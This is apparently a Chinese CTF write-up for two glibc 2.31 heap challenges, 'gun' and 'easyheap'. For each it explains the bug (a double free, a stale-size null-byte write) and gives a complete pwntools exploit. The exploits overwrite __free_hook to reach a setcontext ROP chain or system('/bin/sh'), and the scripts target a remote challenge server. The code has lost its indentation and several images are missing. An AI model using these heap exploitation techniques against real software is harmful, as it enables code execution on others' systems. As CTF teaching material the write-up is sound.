gun

GLIBC 2.31

程序实现了三个功能add,load,delete,其中add只能分配0x500一下的堆块,总共分配的堆块大小不超过0x1000,分配的基本单位是一个node,第一个值是buf,第二个值表示next_chunk,第三个值是flagload是创建了一个全局的单项链表,通过node->next_chunk也就是+0x10的位置进行串联。在delete的时候未清空next_chunk的指针。通过delete,load,delete可以制造double free漏洞,并且在第二次delete的时候会泄露出地址。

但是由于2.31tcache double free进行了检查,这个题目没有办法进行修改其keys,因此采用fastbin attack的方法来做。覆写__free_hookmagic gadget的值,该gadget的作用是将rdi转移到rdx中,并调用setcontext,我们找到下面的gadget

1
2
3
mov rdx, qword ptr [rdi + 8]; 
mov qword ptr [rsp], rax;
call qword ptr [rdx + 0x20];
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
# encoding=utf-8
from pwn import *

file_path = "./gun"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
if debug:
p = process([file_path])
# gdb.attach(p, "b *$rebase(0x1a1e)")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0

else:
p = remote('123.56.96.75', 30772)
libc = ELF('./libc-2.31.so')
one_gadget = 0x0


def add(size, content=b"\n"):
p.sendlineafter("Action> ", "3")
p.sendlineafter("Bullet price: ", str(size))
p.sendafter("Bullet Name: ", content)


def delete(index):
p.sendlineafter("Action> ", "1")
p.sendlineafter("Shoot time: ", str(index))


def load(index):
p.sendlineafter("Action> ", "2")
p.sendlineafter("want to load?", str(index))


name = "lyyl"
p.sendlineafter("Your name: ", name)

for i in range(7):
add(0x68) # 0 - 6
for i in range(3):
add(0x10) # 7-9
add(0x28) # 10
add(0x420) # 11
add(0x28) # 12
add(0x28) # 13
load(13)
load(12)
load(11)
load(10)
delete(4)

add(0x68) # 10
add(0x68) # 11
add(0x68) # 12
add(0x28) # 13
load(10)
delete(4)

# p.recvuntil("Pwn! The bullet fired.")
p.recvuntil("Pwn! The ")
libc.address = u64(p.recvuntil("bullet fired", drop=True).strip().ljust(8, b"\x00")) - 96 - 0x3f0 - 0x10 - libc.sym['__malloc_hook']
log.success("libc address {}".format(hex(libc.address)))
for i in range(3):
p.recvuntil("Pwn! The ")
heap_base = u64(p.recvuntil("bullet fired", drop=True).strip().ljust(8, b"\x00")) - 0x770 - 0x330
log.success("heap base {}".format(hex(heap_base)))


add(0x68) # 10

for i in range(3):
load(7 + i)
delete(3)

add(0x68) # 7
add(0x68) # 8

load(10)
load(7)
load(8)

for i in range(7):
load(i)

delete(11)

for i in range(7):
add(0x68)


p_rdi_r = 0x0000000000026b72 + libc.address
p_rsi_r = 0x0000000000027529 + libc.address
p_rdx_r12_r = 0x000000000011c371 + libc.address
p_rax_r = 0x000000000004a550 + libc.address
syscall = 0x0000000000066229 + libc.address
ret_addr = 0x0000000000025679 + libc.address
flag_str_address = heap_base + 0x7c0 + 0x140
frame_address = heap_base + 0x7c0
orw_address = heap_base + 0x738
read_orw_address = heap_base + 0x6f8
flag_address = libc.sym['__malloc_hook'] + 0x200
# 0x0000000000154930: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
magic = 0x0000000000154930 + libc.address

orw = flat([
p_rax_r, 2,
p_rdi_r, flag_str_address,
p_rsi_r, 0,
syscall,
p_rax_r, 0,
p_rdi_r, 3,
p_rsi_r, flag_address,
p_rdx_r12_r, 0x40, 0,
syscall,
p_rax_r, 1,
p_rdi_r, 1,
p_rsi_r, flag_address,
p_rdx_r12_r, 0x40, 0,
syscall
])

read_orw = flat([
p_rax_r, 0,
p_rdi_r, 0,
p_rsi_r, orw_address,
p_rdx_r12_r, 0x200, 0,
syscall
])

payload = p64(0) + p64(frame_address) + p64(0)*2 + p64(libc.sym['setcontext'] + 61)
payload = payload.ljust(0xa0, b"\x00") + p64(read_orw_address) + p64(ret_addr)

add(0x68, p64(libc.sym['__free_hook']) + read_orw + b"\n") # 7
add(0x68) # 8
add(0x68) # 9
add(0x68, p64(magic) + b"\n") # 10
add(0x150, payload.ljust(0x140, b"\x00") + b"./flag\x00".ljust(0x10, b"\x00"))
load(11)
# gdb.attach(p, "b *$rebase(0x1a1e)")
delete(1)

p.sendline(orw)

p.interactive()

easyheap

程序提供了三种功能add,show,delete,函数漏洞的位置存在add函数中,

图片无法显示,请联系作者

看到当一开始输入一个超过限制范围的size的时候,然后后面重新输入合适的size的时候,并没有更新v2,因此存在一个任意地址的一字节0写入,当然这个地址偏移是两字节大小。

这里的利用方式就是提前进行一下堆布局,

图片无法显示,请联系作者

通过任意地址写0top chunk size改小。并且可以通过任意地址写0覆写tcachefd指针,指向fastbin中堆块的中间位置这里即0x500。申请到0x500的堆块之后,再次申请一个特定大小的堆块,使得其能够触发malloc_consolidate,并且切割之后放入unsorted bin中的chunk中存储libc附近的地址的位置为0x500,这样既可以泄露出libc基址。如下

图片无法显示,请联系作者

注意在申请0x500大小的堆块的时候需要伪造0x530堆块的size位,一个原因是过堆块合并的判断,另一个原因就是为之后申请_free_hook的堆块做准备。这里将size伪造为0x31大小。

此时申请0x30大小的堆块,我们就获得了指向相同堆块的两个内存指针,可以构造double free。但是这里对tcache double free进行了检查,首先需要任意地址写0覆写其keys指针。构造tcache double free,覆写__free_hooksystem地址,释放带有/bin/sh的堆块。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
# encoding=utf-8
from pwn import *

file_path = "./easyheap"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 1
if debug:
p = process([file_path])
# gdb.attach(p, "b *$rebase(0x175A)")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0

else:
p = remote('123.56.96.75', 30774)
libc = ELF('./libc-2.31.so')
one_gadget = 0x0


def add(size, content=b"\n"):
p.sendlineafter(">> ", "1")
p.sendlineafter("Size: ", str(size))
p.sendafter("Content: ", content)


def overflow(size, new_size, content=b"\n"):
p.sendlineafter(">> ", "1")
p.sendlineafter("Size: ", str(size))
p.sendlineafter("Size: ", str(new_size))
p.sendafter("Content: ", content)


def show(index):
p.sendlineafter(">> ", "2")
p.sendlineafter("Index: ", str(index))


def delete(index):
p.sendlineafter(">> ", "3")
p.sendlineafter("Index: ", str(index))


def padding(size):
for i in range(7):
add(size)
for i in range(7):
delete(i)


add(0x80-0x40) # overflow chunk
delete(0)
for i in range(7):
add(0x58)
add(0x58) # 7
for i in range(5):
delete(i)
delete(6)
delete(7)


add(0x58)
overflow(0x60 + 0x58 +0x2, 0x58)
add(0x58)
delete(2)
delete(1)
delete(0)

add(0x58)
overflow(0x60 + 0x58 +0x3, 0x58)
add(0x58)
delete(0)
delete(1)
delete(2)
delete(5)

gdb.attach(p, "b *$rebase(0x175A)")


overflow(0x60+0x60+1, 0x58)


add(0x58, b"a"*0x28 + p64(0x31) + b"\n") # 1
add(0x58, b"\x00"*0x28 + p64(0x31) + b"\n") # 2

add(0x28)
show(2)

p.recvuntil("Content: ")
libc.address = u64(p.recvline().strip(b"\n").ljust(8, b"\x00")) - 96 - 0x10 - libc.sym['__malloc_hook']
log.success("libc address {}".format(hex(libc.address)))

# gdb.attach(p, "b *$rebase(0x175A)")

add(0x28) # 4

delete(1)
delete(0)
delete(2)
overflow(0x98+2, 0x58, b"/bin/sh\x00\n") # 0
delete(4)
add(0x28, p64(libc.sym['__free_hook']) + b"\n")
add(0x28)
add(0x28, p64(libc.sym['system']) + b"\n")
delete(0)

p.interactive()